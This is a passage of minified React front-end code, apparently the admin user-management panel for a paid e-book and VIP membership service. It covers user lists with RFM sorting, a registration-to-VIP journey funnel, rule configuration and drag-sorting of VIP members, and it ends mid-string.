disabled:opacity-50",t),ref:n,...e}));_l.displayName="Textarea";const Ou=[{id:"register",label:"注册/登录",icon:"👤",color:"bg-blue-500/20 border-blue-500/40 text-blue-400",desc:"微信授权登录或手机号注册"},{id:"browse",label:"浏览章节",icon:"📖",color:"bg-purple-500/20 border-purple-500/40 text-purple-400",desc:"点击免费/付费章节预览"},{id:"bind_phone",label:"绑定手机",icon:"📱",color:"bg-cyan-500/20 border-cyan-500/40 text-cyan-400",desc:"触发付费章节后绑定手机"},{id:"first_pay",label:"首次付款",icon:"💳",color:"bg-green-500/20 border-green-500/40 text-green-400",desc:"购买单章或全书"},{id:"fill_profile",label:"完善资料",icon:"✍️",color:"bg-yellow-500/20 border-yellow-500/40 text-yellow-400",desc:"填写头像、MBTI、行业等"},{id:"match",label:"派对房匹配",icon:"🤝",color:"bg-orange-500/20 border-orange-500/40 text-orange-400",desc:"参与 Soul 派对房"},{id:"vip",label:"升级 VIP",icon:"👑",color:"bg-amber-500/20 border-amber-500/40 text-amber-400",desc:"付款 ¥1980 购买全书"},{id:"distribution",label:"开启分销",icon:"🔗",color:"bg-[#38bdac]/20 border-[#38bdac]/40 text-[#38bdac]",desc:"生成推广码并推荐好友"}];function pP(){var fs,Di,Ps,Li,Pa;const[t,e]=Ww(),n=t.get("pool"),[r,a]=b.useState([]),[i,o]=b.useState(0),[c,u]=b.useState(1),[h,f]=b.useState(10),[m,g]=b.useState(""),y=r0(m,300),N=n==="vip"?"vip":n==="complete"?"complete":"all",[w,v]=b.useState(N),[k,C]=b.useState(!0),[E,T]=b.useState(!1),[I,O]=b.useState(null),[L,R]=b.useState(!1),[D,z]=b.useState("desc");b.useEffect(()=>{n==="vip"?v("vip"):n==="complete"?v("complete"):n==="all"&&v("all")},[n]);const[Z,ne]=b.useState(!1),[fe,xe]=b.useState(null),[$,H]=b.useState(!1),[oe,P]=b.useState(!1),[q,B]=b.useState({referrals:[],stats:{}}),[_,W]=b.useState(!1),[le,J]=b.useState(null),[Y,V]=b.useState(!1),[re,ue]=b.useState(null),[ce,ye]=b.useState({phone:"",nickname:"",password:"",isAdmin:!1,hasFullBook:!1}),[Re,Le]=b.useState([]),[lt,Tt]=b.useState(!1),[ln,yt]=b.useState(!1),[nn,In]=b.useState(null),[Mt,Yt]=b.useState({title:"",description:"",trigger:"",sort:0,enabled:!0}),[rn,Rn]=b.useState([]),[pr,Pn]=b.useState(!1),[Hn,K]=b.useState(null),[Ue,Je]=b.useState(null),[xt,ct]=b.useState({}),[nt,gt]=b.useState(!1);async function Rt(U=!1){var Pe;C(!0),U&&T(!0),O(null);try{if(L){const Ve=new URLSearchParams({search:y,limit:String(h*5)}),Ge=await De(`/api/db/users/rfm?${Ve}`);if(Ge!=null&&Ge.success){let Nn=Ge.users||[];D==="asc"&&(Nn=[...Nn].reverse());const gr=(c-1)*h;a(Nn.slice(gr,gr+h)),o(((Pe=Ge.users)==null?void 0:Pe.length)??0),Nn.length===0&&(R(!1),O("暂无订单数据,RFM 排序需要用户有购买记录后才能生效"))}else R(!1),O((Ge==null?void 0:Ge.error)||"RFM 加载失败,已切回普通模式")}else{const Ve=new URLSearchParams({page:String(c),pageSize:String(h),search:y,...w==="vip"&&{vip:"true"},...w==="complete"&&{pool:"complete"}}),Ge=await De(`/api/db/users?${Ve}`);Ge!=null&&Ge.success?(a(Ge.users||[]),o(Ge.total??0)):O((Ge==null?void 0:Ge.error)||"加载失败")}}catch(Ve){console.error("Load users error:",Ve),O("网络错误")}finally{C(!1),U&&T(!1)}}b.useEffect(()=>{u(1)},[y,w,L]),b.useEffect(()=>{Rt()},[c,h,y,w,L,D]);const gn=Math.ceil(i/h)||1,mr=()=>{L?D==="desc"?z("asc"):(R(!1),z("desc")):(R(!0),z("desc"))},wr=U=>({S:"bg-amber-500/20 text-amber-400",A:"bg-green-500/20 text-green-400",B:"bg-blue-500/20 text-blue-400",C:"bg-gray-500/20 text-gray-400",D:"bg-red-500/20 text-red-400"})[U||""]||"bg-gray-500/20 text-gray-400";async function As(U){var Pe;if(confirm("确定要删除这个用户吗?"))try{const Ve=await Bs(`/api/db/users?id=${encodeURIComponent(U)}`);Ve!=null&&Ve.success?(ie.success("已删除"),Rt()):ie.error("删除失败: "+((Ve==null?void 0:Ve.error)||"未知错误"))}catch(Ve){const Ge=Ve,Nn=((Pe=Ge==null?void 0:Ge.data)==null?void 0:Pe.error)||(Ge==null?void 0:Ge.message)||"网络错误";ie.error("删除失败: "+Nn)}}const Wr=U=>{xe(U),ye({phone:U.phone||"",nickname:U.nickname||"",password:"",isAdmin:!!(U.isAdmin??!1),hasFullBook:!!(U.hasFullBook??!1)}),ne(!0)},Is=()=>{xe(null),ye({phone:"",nickname:"",password:"",isAdmin:!1,hasFullBook:!1}),ne(!0)};async function pe(){if(!ce.phone||!ce.nickname){ie.error("请填写手机号和昵称");return}H(!0);try{if(fe){const U=await zt("/api/db/users",{id:fe.id,phone:ce.phone||void 0,nickname:ce.nickname,isAdmin:ce.isAdmin,hasFullBook:ce.hasFullBook,...ce.password&&{password:ce.password}});if(!(U!=null&&U.success)){ie.error("更新失败: "+((U==null?void 0:U.error)||""));return}}else{const U=await vt("/api/db/users",{phone:ce.phone,nickname:ce.nickname,password:ce.password,isAdmin:ce.isAdmin});if(!(U!=null&&U.success)){ie.error("创建失败: "+((U==null?void 0:U.error)||""));return}}ne(!1),Rt()}catch{ie.error("保存失败")}finally{H(!1)}}async function ge(U){J(U),P(!0),W(!0);try{const Pe=await De(`/api/db/users/referrals?userId=${encodeURIComponent(U.id)}`);Pe!=null&&Pe.success?B({referrals:Pe.referrals||[],stats:Pe.stats||{}}):B({referrals:[],stats:{}})}catch{B({referrals:[],stats:{}})}finally{W(!1)}}const Pt=b.useCallback(async()=>{Tt(!0);try{const U=await De("/api/db/user-rules");U!=null&&U.success&&Le(U.rules||[])}catch{}finally{Tt(!1)}},[]);async function On(){if(!Mt.title){ie.error("请填写规则标题");return}H(!0);try{if(nn){const U=await zt("/api/db/user-rules",{id:nn.id,...Mt});if(!(U!=null&&U.success)){ie.error("更新失败: "+((U==null?void 0:U.error)||""));return}}else{const U=await vt("/api/db/user-rules",Mt);if(!(U!=null&&U.success)){ie.error("创建失败: "+((U==null?void 0:U.error)||""));return}}yt(!1),Pt()}catch{ie.error("保存失败")}finally{H(!1)}}async function Qs(U){if(confirm("确定删除?"))try{const Pe=await Bs(`/api/db/user-rules?id=${U}`);Pe!=null&&Pe.success&&Pt()}catch{}}async function Xs(U){try{await zt("/api/db/user-rules",{id:U.id,enabled:!U.enabled}),Pt()}catch{}}const Wn=b.useCallback(async()=>{Pn(!0);try{const U=await De("/api/db/vip-members?limit=500");if(U!=null&&U.success&&U.data){const Pe=[...U.data].map((Ve,Ge)=>({...Ve,vipSort:typeof Ve.vipSort=="number"?Ve.vipSort:Ge+1}));Pe.sort((Ve,Ge)=>(Ve.vipSort??999999)-(Ge.vipSort??999999)),Rn(Pe)}else U&&U.error&&ie.error(U.error)}catch{ie.error("加载超级个体列表失败")}finally{Pn(!1)}},[]),[Zs,ft]=b.useState(!1),[xn,Ur]=b.useState(null),[Ir,ds]=b.useState(""),[Dn,us]=b.useState(!1),hs=["创业者","资源整合者","技术达人","投资人","产品经理","流量操盘手"],Rs=U=>{Ur(U),ds(U.vipRole||""),ft(!0)},Ma=async U=>{const Pe=U.trim();if(xn){if(!Pe){ie.error("请选择或输入标签");return}us(!0);try{const Ve=await zt("/api/db/users",{id:xn.id,vipRole:Pe});if(!(Ve!=null&&Ve.success)){ie.error((Ve==null?void 0:Ve.error)||"更新超级个体标签失败");return}ie.success("已更新超级个体标签"),ft(!1),Ur(null),await Wn()}catch{ie.error("更新超级个体标签失败")}finally{us(!1)}}},[er,Kr]=b.useState(!1),[ea,Rr]=b.useState(null),[Pi,Aa]=b.useState(""),[Ro,Ia]=b.useState(!1),qr=U=>{Rr(U),Aa(U.vipSort!=null?String(U.vipSort):""),Kr(!0)},Gr=async()=>{if(!ea)return;const U=Number(Pi);if(!Number.isFinite(U)){ie.error("请输入有效的数字序号");return}Ia(!0);try{const Pe=await zt("/api/db/users",{id:ea.id,vipSort:U});if(!(Pe!=null&&Pe.success)){ie.error((Pe==null?void 0:Pe.error)||"更新排序序号失败");return}ie.success("已更新排序序号"),Kr(!1),Rr(null),await Wn()}catch{ie.error("更新排序序号失败")}finally{Ia(!1)}},Ra=(U,Pe)=>{U.dataTransfer.effectAllowed="move",U.dataTransfer.setData("text/plain",Pe),K(Pe)},Hl=(U,Pe)=>{U.preventDefault(),Ue!==Pe&&Je(Pe)},ta=()=>{K(null),Je(null)},Ot=async(U,Pe)=>{U.preventDefault();const Ve=U.dataTransfer.getData("text/plain")||Hn;if(K(null),Je(null),!Ve||Ve===Pe)return;const Ge=rn.find(Qt=>Qt.id===Ve),Nn=rn.find(Qt=>Qt.id===Pe);if(!Ge||!Nn)return;const gr=Ge.vipSort??rn.findIndex(Qt=>Qt.id===Ve)+1,Po=Nn.vipSort??rn.findIndex(Qt=>Qt.id===Pe)+1;Rn(Qt=>{const Un=[...Qt],ps=Un.findIndex(Oa=>Oa.id===Ve),Os=Un.findIndex(Oa=>Oa.id===Pe);if(ps===-1||Os===-1)return Qt;const na=[...Un],[Wl,_i]=[na[ps],na[Os]];return na[ps]={..._i,vipSort:gr},na[Os]={...Wl,vipSort:Po},na});try{const[Qt,Un]=await Promise.all([zt("/api/db/users",{id:Ve,vipSort:Po}),zt("/api/db/users",{id:Pe,vipSort:gr})]);if(!(Qt!=null&&Qt.success)||!(Un!=null&&Un.success)){ie.error((Qt==null?void 0:Qt.error)||(Un==null?void 0:Un.error)||"更新排序失败"),await Wn();return}ie.success("已更新排序"),await Wn()}catch{ie.error("更新排序失败"),await Wn()}},Oi=b.useCallback(async()=>{gt(!0);try{const U=await De("/api/db/users/journey-stats");U!=null&&U.success&&U.stats&&ct(U.stats)}catch{}finally{gt(!1)}},[]);return s.jsxs("div",{className:"p-8 w-full",children:[I&&s.jsxs("div",{className:"mb-4 px-4 py-3 rounded-lg bg-red-500/20 border border-red-500/50 text-red-400 text-sm flex items-center justify-between",children:[s.jsx("span",{children:I}),s.jsx("button",{type:"button",onClick:()=>O(null),children:"×"})]}),s.jsx("div",{className:"flex justify-between items-center mb-6",children:s.jsxs("div",{children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"用户管理"}),s.jsxs("p",{className:"text-gray-400 mt-1 text-sm",children:["共 ",i," 位注册用户",L&&" · RFM 排序中"]})]})}),s.jsxs(yd,{defaultValue:"users",className:"w-full",children:[s.jsxs(Ll,{className:"bg-[#0a1628] border border-gray-700/50 p-1 mb-6 flex-wrap h-auto gap-1",children:[s.jsxs(Zt,{value:"users",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] flex items-center gap-1.5",children:[s.jsx(Zn,{className:"w-4 h-4"})," 用户列表"]}),s.jsxs(Zt,{value:"journey",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] flex items-center gap-1.5",onClick:Oi,children:[s.jsx(ml,{className:"w-4 h-4"})," 用户旅程总览"]}),s.jsxs(Zt,{value:"rules",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] flex items-center gap-1.5",onClick:Pt,children:[s.jsx(lo,{className:"w-4 h-4"})," 规则配置"]}),s.jsxs(Zt,{value:"vip-roles",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] flex items-center gap-1.5",onClick:Wn,children:[s.jsx(yl,{className:"w-4 h-4"})," 超级个体列表"]})]}),s.jsxs(en,{value:"users",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4 justify-end flex-wrap",children:[s.jsxs(te,{variant:"outline",onClick:()=>Rt(!0),disabled:E,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${E?"animate-spin":""}`})," 刷新"]}),s.jsxs("select",{value:w,onChange:U=>{const Pe=U.target.value;v(Pe),u(1),n&&(t.delete("pool"),e(t))},className:"bg-[#0f2137] border border-gray-700 text-white rounded-lg px-3 py-2 text-sm",disabled:L,children:[s.jsx("option",{value:"all",children:"全部用户"}),s.jsx("option",{value:"vip",children:"VIP会员(超级个体)"}),s.jsx("option",{value:"complete",children:"完善资料用户"})]}),s.jsxs("div",{className:"relative",children:[s.jsx(Na,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-gray-500"}),s.jsx(se,{type:"text",placeholder:"搜索用户...",className:"pl-10 bg-[#0f2137] border-gray-700 text-white placeholder:text-gray-500 w-56",value:m,onChange:U=>g(U.target.value)})]}),s.jsxs(te,{onClick:Is,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(Lg,{className:"w-4 h-4 mr-2"})," 添加用户"]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:k?s.jsxs("div",{className:"flex items-center justify-center py-12",children:[s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs("div",{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"用户信息"}),s.jsx(ke,{className:"text-gray-400",children:"绑定信息"}),s.jsx(ke,{className:"text-gray-400",children:"购买状态"}),s.jsx(ke,{className:"text-gray-400",children:"分销收益"}),s.jsxs(ke,{className:"text-gray-400 cursor-pointer select-none",onClick:mr,children:[s.jsxs("div",{className:"flex items-center gap-1 group",children:[s.jsx($c,{className:"w-3.5 h-3.5"}),s.jsx("span",{children:"RFM分值"}),L?D==="desc"?s.jsx(Zc,{className:"w-3.5 h-3.5 text-[#38bdac]"}):s.jsx(Kw,{className:"w-3.5 h-3.5 text-[#38bdac]"}):s.jsx(Em,{className:"w-3.5 h-3.5 text-gray-600 group-hover:text-gray-400"})]}),L&&s.jsx("div",{className:"text-[10px] text-[#38bdac] font-normal mt-0.5",children:"点击切换方向/关闭"})]}),s.jsx(ke,{className:"text-gray-400",children:"注册时间"}),s.jsx(ke,{className:"text-right text-gray-400",children:"操作"})]})}),s.jsxs(dr,{children:[r.map(U=>{var Pe,Ve,Ge;return s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsx(ve,{children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-10 h-10 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm font-medium text-[#38bdac]",children:U.avatar?s.jsx("img",{src:U.avatar,className:"w-full h-full rounded-full object-cover",alt:""}):((Pe=U.nickname)==null?void 0:Pe.charAt(0))||"?"}),s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("button",{type:"button",onClick:()=>{ue(U.id),V(!0)},className:"font-medium text-[#38bdac] hover:text-[#2da396] hover:underline text-left",children:U.nickname}),U.isAdmin&&s.jsx(We,{className:"bg-purple-500/20 text-purple-400 hover:bg-purple-500/20 border-0 text-xs",children:"管理员"}),U.openId&&!((Ve=U.id)!=null&&Ve.startsWith("user_"))&&s.jsx(We,{className:"bg-green-500/20 text-green-400 hover:bg-green-500/20 border-0 text-xs",children:"微信"})]}),s.jsx("p",{className:"text-xs text-gray-500 font-mono",children:U.openId?U.openId.slice(0,12)+"...":(Ge=U.id)==null?void 0:Ge.slice(0,12)})]})]})}),s.jsx(ve,{children:s.jsxs("div",{className:"space-y-1",children:[U.phone&&s.jsxs("div",{className:"flex items-center gap-1 text-xs",children:[s.jsx("span",{className:"text-gray-500",children:"📱"}),s.jsx("span",{className:"text-gray-300",children:U.phone})]}),U.wechatId&&s.jsxs("div",{className:"flex items-center gap-1 text-xs",children:[s.jsx("span",{className:"text-gray-500",children:"💬"}),s.jsx("span",{className:"text-gray-300",children:U.wechatId})]}),U.openId&&s.jsxs("div",{className:"flex items-center gap-1 text-xs",children:[s.jsx("span",{className:"text-gray-500",children:"🔗"}),s.jsxs("span",{className:"text-gray-500 truncate max-w-[100px]",title:U.openId,children:[U.openId.slice(0,12),"..."]})]}),!U.phone&&!U.wechatId&&!U.openId&&s.jsx("span",{className:"text-gray-600 text-xs",children:"未绑定"})]})}),s.jsx(ve,{children:U.hasFullBook?s.jsx(We,{className:"bg-amber-500/20 text-amber-400 hover:bg-amber-500/20 border-0",children:"VIP"}):s.jsx(We,{variant:"outline",className:"text-gray-500 border-gray-600",children:"未购买"})}),s.jsx(ve,{children:s.jsxs("div",{className:"space-y-1",children:[s.jsxs("div",{className:"text-white font-medium",children:["¥",parseFloat(String(U.earnings||0)).toFixed(2)]}),parseFloat(String(U.pendingEarnings||0))>0&&s.jsxs("div",{className:"text-xs text-yellow-400",children:["待提现: ¥",parseFloat(String(U.pendingEarnings||0)).toFixed(2)]}),s.jsxs("div",{className:"text-xs text-[#38bdac] cursor-pointer hover:underline flex items-center gap-1",onClick:()=>ge(U),role:"button",tabIndex:0,onKeyDown:Nn=>Nn.key==="Enter"&&ge(U),children:[s.jsx(Zn,{className:"w-3 h-3"})," 绑定",U.referralCount||0,"人"]})]})}),s.jsx(ve,{children:U.rfmScore!==void 0?s.jsx("div",{className:"flex flex-col gap-1",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("span",{className:"text-white font-bold text-base",children:U.rfmScore}),s.jsx(We,{className:`border-0 text-xs ${wr(U.rfmLevel)}`,children:U.rfmLevel})]})}):s.jsxs("span",{className:"text-gray-600 text-sm",children:["— ",s.jsx("span",{className:"text-xs text-gray-700",children:"点列头排序"})]})}),s.jsx(ve,{className:"text-gray-400",children:U.createdAt?new Date(U.createdAt).toLocaleDateString():"-"}),s.jsx(ve,{className:"text-right",children:s.jsxs("div",{className:"flex items-center justify-end gap-1",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>{ue(U.id),V(!0)},className:"text-gray-400 hover:text-blue-400 hover:bg-blue-400/10",title:"用户详情",children:s.jsx(Ig,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>Wr(U),className:"text-gray-400 hover:text-[#38bdac] hover:bg-[#38bdac]/10",title:"编辑用户",children:s.jsx(Wt,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",className:"text-red-400 hover:text-red-300 hover:bg-red-500/10",onClick:()=>As(U.id),title:"删除",children:s.jsx(Jn,{className:"w-4 h-4"})})]})})]},U.id)}),r.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:7,className:"text-center py-12 text-gray-500",children:"暂无用户数据"})})]})]}),s.jsx(is,{page:c,totalPages:gn,total:i,pageSize:h,onPageChange:u,onPageSizeChange:U=>{f(U),u(1)}})]})})})]}),s.jsxs(en,{value:"journey",children:[s.jsxs("div",{className:"flex items-center justify-between mb-5",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"用户从注册到 VIP 的完整行动路径,点击各阶段查看用户动态"}),s.jsxs(te,{variant:"outline",onClick:Oi,disabled:nt,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${nt?"animate-spin":""}`})," 刷新数据"]})]}),s.jsxs("div",{className:"relative mb-8",children:[s.jsx("div",{className:"absolute top-16 left-0 right-0 h-0.5 bg-gradient-to-r from-blue-500/20 via-[#38bdac]/30 to-amber-500/20 mx-20"}),s.jsx("div",{className:"grid grid-cols-4 gap-4 lg:grid-cols-8",children:Ou.map((U,Pe)=>s.jsxs("div",{className:"relative flex flex-col items-center",children:[s.jsxs("div",{className:`relative w-full p-3 rounded-xl border ${U.color} text-center cursor-default`,children:[s.jsx("div",{className:"text-2xl mb-1",children:U.icon}),s.jsx("div",{className:`text-xs font-medium ${U.color.split(" ").find(Ve=>Ve.startsWith("text-"))}`,children:U.label}),xt[U.id]!==void 0&&s.jsxs("div",{className:"mt-1.5 text-xs text-gray-400",children:[s.jsx("span",{className:"font-bold text-white",children:xt[U.id]})," 人"]}),s.jsx("div",{className:"absolute -top-2.5 -left-2.5 w-5 h-5 rounded-full bg-[#0a1628] border border-gray-700 flex items-center justify-center text-[10px] text-gray-500",children:Pe+1})]}),Pes.jsxs("div",{className:"flex items-start gap-3 p-2 bg-[#0a1628] rounded",children:[s.jsx("span",{className:"text-[#38bdac] font-mono text-xs shrink-0 mt-0.5",children:U.step}),s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-300",children:U.action}),s.jsxs("p",{className:"text-gray-600 text-xs",children:["→ ",U.next]})]})]},U.step))})]}),s.jsxs("div",{className:"bg-[#0f2137] border border-gray-700/50 rounded-lg p-4",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(Br,{className:"w-4 h-4 text-purple-400"}),s.jsx("span",{className:"text-white font-medium",children:"行为锚点统计"}),s.jsx("span",{className:"text-gray-500 text-xs ml-auto",children:"实时更新"})]}),nt?s.jsx("div",{className:"flex items-center justify-center py-8",children:s.jsx(qe,{className:"w-5 h-5 text-[#38bdac] animate-spin"})}):Object.keys(xt).length>0?s.jsx("div",{className:"space-y-2",children:Ou.map(U=>{const Pe=xt[U.id]||0,Ve=Math.max(...Ou.map(Nn=>xt[Nn.id]||0),1),Ge=Math.round(Pe/Ve*100);return s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsxs("span",{className:"text-gray-500 text-xs w-20 shrink-0",children:[U.icon," ",U.label]}),s.jsx("div",{className:"flex-1 h-2 bg-[#0a1628] rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-[#38bdac]/60 rounded-full transition-all",style:{width:`${Ge}%`}})}),s.jsx("span",{className:"text-gray-400 text-xs w-10 text-right",children:Pe})]},U.id)})}):s.jsx("div",{className:"text-center py-8",children:s.jsx("p",{className:"text-gray-500 text-sm",children:"点击「刷新数据」加载统计"})})]})]})]}),s.jsxs(en,{value:"rules",children:[s.jsxs("div",{className:"mb-4 flex items-center justify-between",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"用户旅程引导规则,定义各行为节点的触发条件与引导内容"}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsxs(te,{variant:"outline",onClick:Pt,disabled:lt,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${lt?"animate-spin":""}`})," 刷新"]}),s.jsxs(te,{onClick:()=>{In(null),Yt({title:"",description:"",trigger:"",sort:0,enabled:!0}),yt(!0)},className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"})," 添加规则"]})]})]}),lt?s.jsx("div",{className:"flex items-center justify-center py-12",children:s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"})}):Re.length===0?s.jsxs("div",{className:"text-center py-16 bg-[#0f2137] rounded-lg border border-gray-700/50",children:[s.jsx(Br,{className:"w-12 h-12 text-[#38bdac]/30 mx-auto mb-4"}),s.jsx("p",{className:"text-gray-400 mb-4",children:"暂无规则(重启服务将自动写入10条默认规则)"}),s.jsxs(te,{onClick:Pt,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(qe,{className:"w-4 h-4 mr-2"})," 重新加载"]})]}):s.jsx("div",{className:"space-y-2",children:Re.map(U=>s.jsx("div",{className:`p-4 rounded-lg border transition-all ${U.enabled?"bg-[#0f2137] border-gray-700/50":"bg-[#0a1628]/50 border-gray-700/30 opacity-55"}`,children:s.jsxs("div",{className:"flex items-start justify-between",children:[s.jsxs("div",{className:"flex-1",children:[s.jsxs("div",{className:"flex items-center gap-2 flex-wrap mb-1",children:[s.jsx(Wt,{className:"w-4 h-4 text-[#38bdac] shrink-0"}),s.jsx("span",{className:"text-white font-medium",children:U.title}),U.trigger&&s.jsxs(We,{className:"bg-[#38bdac]/10 text-[#38bdac] border border-[#38bdac]/30 text-xs",children:["触发:",U.trigger]}),s.jsx(We,{className:`text-xs border-0 ${U.enabled?"bg-green-500/20 text-green-400":"bg-gray-500/20 text-gray-400"}`,children:U.enabled?"启用":"禁用"})]}),U.description&&s.jsx("p",{className:"text-gray-400 text-sm ml-6",children:U.description})]}),s.jsxs("div",{className:"flex items-center gap-2 ml-4 shrink-0",children:[s.jsx(kt,{checked:U.enabled,onCheckedChange:()=>Xs(U)}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>{In(U),Yt({title:U.title,description:U.description,trigger:U.trigger,sort:U.sort,enabled:U.enabled}),yt(!0)},className:"text-gray-400 hover:text-[#38bdac] hover:bg-[#38bdac]/10",children:s.jsx(Wt,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>Qs(U.id),className:"text-red-400 hover:text-red-300 hover:bg-red-500/10",children:s.jsx(Jn,{className:"w-4 h-4"})})]})]})},U.id))})]}),s.jsxs(en,{value:"vip-roles",children:[s.jsxs("div",{className:"mb-4 flex items-center justify-between",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"展示当前所有有效的超级个体(VIP 用户),用于检查会员信息与排序值。"}),s.jsx("p",{className:"text-xs text-[#38bdac]",children:"提示:按住任意一行即可拖拽排序,释放后将同步更新小程序展示顺序。"})]}),s.jsx("div",{className:"flex items-center gap-2",children:s.jsxs(te,{variant:"outline",onClick:Wn,disabled:pr,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${pr?"animate-spin":""}`})," ","刷新"]})})]}),pr?s.jsxs("div",{className:"flex items-center justify-center py-12",children:[s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):rn.length===0?s.jsxs("div",{className:"text-center py-16 bg-[#0f2137] rounded-lg border border-gray-700/50",children:[s.jsx(yl,{className:"w-12 h-12 text-amber-400/30 mx-auto mb-4"}),s.jsx("p",{className:"text-gray-400 mb-4",children:"当前没有有效的超级个体用户。"})]}):s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400 w-16",children:"序号"}),s.jsx(ke,{className:"text-gray-400",children:"成员"}),s.jsx(ke,{className:"text-gray-400 min-w-48",children:"超级个体标签"}),s.jsx(ke,{className:"text-gray-400 w-24",children:"排序值"}),s.jsx(ke,{className:"text-gray-400 w-40 text-right",children:"操作"})]})}),s.jsx(dr,{children:rn.map((U,Pe)=>{var Nn;const Ve=Hn===U.id,Ge=Ue===U.id;return s.jsxs(it,{draggable:!0,onDragStart:gr=>Ra(gr,U.id),onDragOver:gr=>Hl(gr,U.id),onDrop:gr=>Ot(gr,U.id),onDragEnd:ta,className:`border-gray-700/50 cursor-grab active:cursor-grabbing select-none ${Ve?"opacity-60":""} ${Ge?"bg-[#38bdac]/10":""}`,children:[s.jsx(ve,{className:"text-gray-300",children:Pe+1}),s.jsx(ve,{children:s.jsxs("div",{className:"flex items-center gap-3",children:[U.avatar?s.jsx("img",{src:U.avatar,className:"w-8 h-8 rounded-full object-cover border border-amber-400/60"}):s.jsx("div",{className:"w-8 h-8 rounded-full bg-amber-500/20 border border-amber-400/60 flex items-center justify-center text-amber-300 text-sm",children:((Nn=U.name)==null?void 0:Nn[0])||"创"}),s.jsx("div",{className:"min-w-0",children:s.jsx("div",{className:"text-white text-sm truncate",children:U.name})})]})}),s.jsx(ve,{className:"text-gray-300 whitespace-nowrap",children:U.vipRole||s.jsx("span",{className:"text-gray-500",children:"(未设置超级个体标签)"})}),s.jsx(ve,{className:"text-gray-300",children:U.vipSort??Pe+1}),s.jsx(ve,{className:"text-right text-xs text-gray-300",children:s.jsxs("div",{className:"inline-flex items-center gap-1.5",children:[s.jsx(te,{variant:"ghost",size:"sm",className:"h-7 w-7 px-0 text-amber-300 hover:text-amber-200",onClick:()=>Rs(U),title:"设置超级个体标签",children:s.jsx(zc,{className:"w-3.5 h-3.5"})}),s.jsx(te,{variant:"ghost",size:"sm",className:"h-7 w-7 px-0 text-[#38bdac] hover:text-[#5fe0cd]",onClick:()=>{ue(U.id),V(!0)},title:"编辑资料",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{variant:"ghost",size:"sm",className:"h-7 w-7 px-0 text-sky-300 hover:text-sky-200",onClick:()=>qr(U),title:"设置排序序号",children:s.jsx(Em,{className:"w-3.5 h-3.5"})})]})})]},U.id)})})]})})})]})]}),s.jsx(Dt,{open:er,onOpenChange:U=>{Kr(U),U||Rr(null)},children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-sm",children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Em,{className:"w-5 h-5 text-[#38bdac]"}),"设置排序 — ",ea==null?void 0:ea.name]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"排序序号(数字越小越靠前)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:1",value:Pi,onChange:U=>Aa(U.target.value)})]}),s.jsxs(on,{children:[s.jsxs(te,{variant:"outline",onClick:()=>Kr(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(ir,{className:"w-4 